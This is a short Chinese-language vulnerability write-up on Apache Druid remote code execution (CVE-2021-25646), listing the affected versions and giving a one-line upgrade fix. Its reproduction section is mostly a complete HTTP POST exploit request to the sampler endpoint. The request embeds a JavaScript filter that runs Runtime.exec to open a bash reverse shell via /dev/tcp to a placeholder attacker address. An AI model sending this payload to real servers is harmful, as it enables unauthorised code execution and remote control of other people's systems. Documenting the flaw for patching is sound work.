Apache Druid 远程代码执行漏洞 (CVE-2021-25646)
1.漏洞概述
Apache Druid 是用Java编写的面向列的开源分布式数据存储,旨在快速获取大量事件数据,并在数据之上提供低延迟查询。Apache Druid 默认情况下缺乏授权认证,攻击者可以发送特制请求,利用Druid服务器上进程的特权执行任意代码。Apache Druid包括执行用户提供的JavaScript的功能嵌入在各种类型请求中的代码。此功能在用于高信任度环境中,默认已被禁用。但是,在Druid 0.20.0及更低版本中,经过身份验证的用户发送恶意请求,利用Apache Druid漏洞可以执行任意代码
2. 漏洞影响范围
影响版本:
Apache Druid < 0.20.1
安全版本:
Apache Druid 0.20.1
3.漏洞复现
0x00 安装好漏洞环境是这样的
http://xxx.xxx.xxx.xxx:8888
0x01 反弹shell
0x02 请求包
POST /druid/indexer/v1/sampler HTTP/1.1 Host: xxx User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.16; rv:85.0) Gecko/20100101 Firefox/85.0 Accept: application/json, text/plain, */* Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Content-Type: application/json Content-Length: 1043 Connection: close {"type": "index", "spec": {"ioConfig": {"type": "index", "inputSource": {"type": "inline", "data": "{\"isRobot\":true,\"channel\":\"#x\",\"timestamp\":\"2021-2-1T14:12:24.050Z\",\"flags\":\"x\",\"isUnpatrolled\":false,\"page\":\"1\",\"diffUrl\":\"https://xxx.com\",\"added\":1,\"comment\":\"Botskapande Indonesien omdirigering\",\"commentLength\":35,\"isNew\":true,\"isMinor\":false,\"delta\":31,\"isAnonymous\":true,\"user\":\"Lsjbot\",\"deltaBucket\":0,\"deleted\":0,\"namespace\":\"Main\"}"}, "inputFormat": {"type": "json", "keepNullColumns": true}}, "dataSchema": {"dataSource": "sample", "timestampSpec": {"column": "timestamp", "format": "iso"}, "dimensionsSpec": {}, "transformSpec": {"transforms": [], "filter": {"type": "javascript", "dimension": "added", "function": "function(value) {java.lang.Runtime.getRuntime().exec('/bin/bash -c $@|bash 0 echo bash -i >&/dev/tcp/xxx/xxx 0>&1')}", "": {"enabled": true}}}}, "type": "index", "tuningConfig": {"type": "index"}}, "samplerConfig": {"numRows": 500, "timeoutMs": 15000}}
0x03 修复建议
建议大家尽快升级最新版本。